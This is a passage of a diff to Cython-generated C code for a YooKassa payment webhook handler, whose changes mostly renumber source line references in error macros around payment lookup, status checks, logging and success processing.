__pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_event, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_event, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyDict_NewPresized(0); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -6273,7 +6271,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6281,7 +6279,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_payment_object = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment_object, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 206, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment_object, __pyx_n_s_get); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_5 = NULL; __pyx_t_4 = 0; @@ -6301,7 +6299,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_5, __pyx_n_u_id}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 206, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6309,13 +6307,13 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_payment_id = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_id); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 207, __pyx_L1_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_payment_id); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 199, __pyx_L1_error) __pyx_t_7 = (!__pyx_t_6); if (__pyx_t_7) { - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 208, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_error); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -6336,22 +6334,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_3, __pyx_kp_u_ID}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 200, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_r); - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_web); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 209, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_Response); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 209, __pyx_L1_error) - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_status, __pyx_int_400) < 0) __PYX_ERR(0, 201, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 201, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -6368,9 +6366,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_10); /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_Payment); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 204, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_find_one); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 212, __pyx_L6_error) + __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_find_one); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 204, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -6391,7 +6389,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_cur_scope->__pyx_v_payment_id}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_5, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 204, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } @@ -6399,14 +6397,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_payment = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 213, __pyx_L6_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 213, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 205, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 213, __pyx_L6_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_payment, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 205, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_API_Yookassa, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 213, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyUnicode_Concat(__pyx_kp_u_API_Yookassa, __pyx_t_5); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 205, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; @@ -6428,32 +6426,32 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 205, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_status); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_succeeded, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 215, __pyx_L6_error) + __pyx_t_6 = (__Pyx_PyUnicode_Equals(__pyx_t_3, __pyx_n_u_succeeded, Py_EQ)); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 207, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; if (__pyx_t_6) { } else { __pyx_t_7 = __pyx_t_6; goto __pyx_L13_bool_binop_done; } - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_paid); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_paid); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 207, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 215, __pyx_L6_error) + __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_3); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 207, __pyx_L6_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_7 = __pyx_t_6; __pyx_L13_bool_binop_done:; if (__pyx_t_7) { - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_metadata); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L6_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_metadata); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; @@ -6474,7 +6472,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_1, __pyx_n_u_user_id}; __pyx_t_3 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; - if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L6_error) + if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 208, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6482,9 +6480,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_user_id_str = __pyx_t_3; __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 217, __pyx_L6_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_payment, __pyx_n_s_amount); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_t_3, __pyx_n_u_value); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 217, __pyx_L6_error) + __pyx_t_2 = __Pyx_PyObject_Dict_GetItem(__pyx_t_3, __pyx_n_u_value); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 209, __pyx_L6_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_GIVEREF(__pyx_t_2); @@ -6498,21 +6496,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_XGOTREF(__pyx_t_13); /*try:*/ { - __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 220, __pyx_L15_error) + __pyx_t_2 = __Pyx_PyNumber_Int(__pyx_cur_scope->__pyx_v_user_id_str); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 212, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_2); __pyx_cur_scope->__pyx_v_user_id = __pyx_t_2; __pyx_t_2 = 0; - __pyx_t_14 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_14 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 221, __pyx_L15_error) + __pyx_t_14 = __Pyx_PyObject_AsDouble(__pyx_cur_scope->__pyx_v_amount_str); if (unlikely(__pyx_t_14 == ((double)((double)-1)) && PyErr_Occurred())) __PYX_ERR(0, 213, __pyx_L15_error) __pyx_cur_scope->__pyx_v_amount = __pyx_t_14; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_logger); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 222, __pyx_L15_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_info); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = PyTuple_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 222, __pyx_L15_error) + __pyx_t_3 = PyTuple_New(4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_15 = 0; __pyx_t_16 = 127; @@ -6520,7 +6518,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_15 += 31; __Pyx_GIVEREF(__pyx_kp_u_Payment_succeeded_for_user_id); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_kp_u_Payment_succeeded_for_user_id); - __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L15_error) + __pyx_t_5 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_user_id, __pyx_empty_unicode); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_5) : __pyx_t_16; __pyx_t_15 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_5); @@ -6531,9 +6529,9 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_15 += 10; __Pyx_GIVEREF(__pyx_kp_u_amount_2); PyTuple_SET_ITEM(__pyx_t_3, 2, __pyx_kp_u_amount_2); - __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L15_error) + __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 222, __pyx_L15_error) + __pyx_t_17 = __Pyx_PyObject_FormatSimple(__pyx_t_5, __pyx_empty_unicode); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_16 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) > __pyx_t_16) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_17) : __pyx_t_16; @@ -6541,7 +6539,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __Pyx_GIVEREF(__pyx_t_17); PyTuple_SET_ITEM(__pyx_t_3, 3, __pyx_t_17); __pyx_t_17 = 0; - __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_3, 4, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 222, __pyx_L15_error) + __pyx_t_17 = __Pyx_PyUnicode_Join(__pyx_t_3, 4, __pyx_t_15, __pyx_t_16); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; @@ -6563,21 +6561,21 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_17); __pyx_t_17 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 222, __pyx_L15_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 214, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_web); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 224, __pyx_L15_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Response); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 216, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 224, __pyx_L15_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 224, __pyx_L15_error) - __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 224, __pyx_L15_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_status, __pyx_int_200) < 0) __PYX_ERR(0, 216, __pyx_L15_error) + __pyx_t_17 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 216, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -6585,14 +6583,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_response = __pyx_t_17; __pyx_t_17 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_asyncio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_asyncio); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create_task); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 226, __pyx_L15_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_create_task); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 218, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_process_successful_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 226, __pyx_L15_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_process_successful_payment); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 218, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 226, __pyx_L15_error) + __pyx_t_5 = PyFloat_FromDouble(__pyx_cur_scope->__pyx_v_amount); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 218, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_18 = NULL; __pyx_t_4 = 0; @@ -6613,7 +6611,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 2+__pyx_t_4); __Pyx_XDECREF(__pyx_t_18); __pyx_t_18 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 226, __pyx_L15_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 218, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -6636,7 +6634,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_17 = __Pyx_PyObject_FastCall(__pyx_t_1, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 226, __pyx_L15_error) + if (unlikely(!__pyx_t_17)) __PYX_ERR(0, 218, __pyx_L15_error) __Pyx_GOTREF(__pyx_t_17); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } @@ -6658,7 +6656,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_t_19 = __Pyx_PyErr_ExceptionMatches(__pyx_builtin_ValueError); if (__pyx_t_19) { __Pyx_AddTraceback("handlers.payments.yookassa_pay.yookassa_webhook", __pyx_clineno, __pyx_lineno, __pyx_filename); - if (__Pyx_GetException(&__pyx_t_17, &__pyx_t_1, &__pyx_t_2) < 0) __PYX_ERR(0, 229, __pyx_L17_except_error) + if (__Pyx_GetException(&__pyx_t_17, &__pyx_t_1, &__pyx_t_2) < 0) __PYX_ERR(0, 221, __pyx_L17_except_error) __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_1); __Pyx_XGOTREF(__pyx_t_2); @@ -6667,14 +6665,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_cur_scope->__pyx_v_e = __pyx_t_1; /*try:*/ { - __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 230, __pyx_L26_error) + __Pyx_GetModuleGlobalName(__pyx_t_5, __pyx_n_s_logger); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 222, __pyx_L26_error) __Pyx_GOTREF(__pyx_t_5); - __pyx_t_18 = __Pyx_PyObject_GetAttrStr(__pyx_t_5, __pyx_n_s_error); if (unlikely(!__pyx_t_18)) 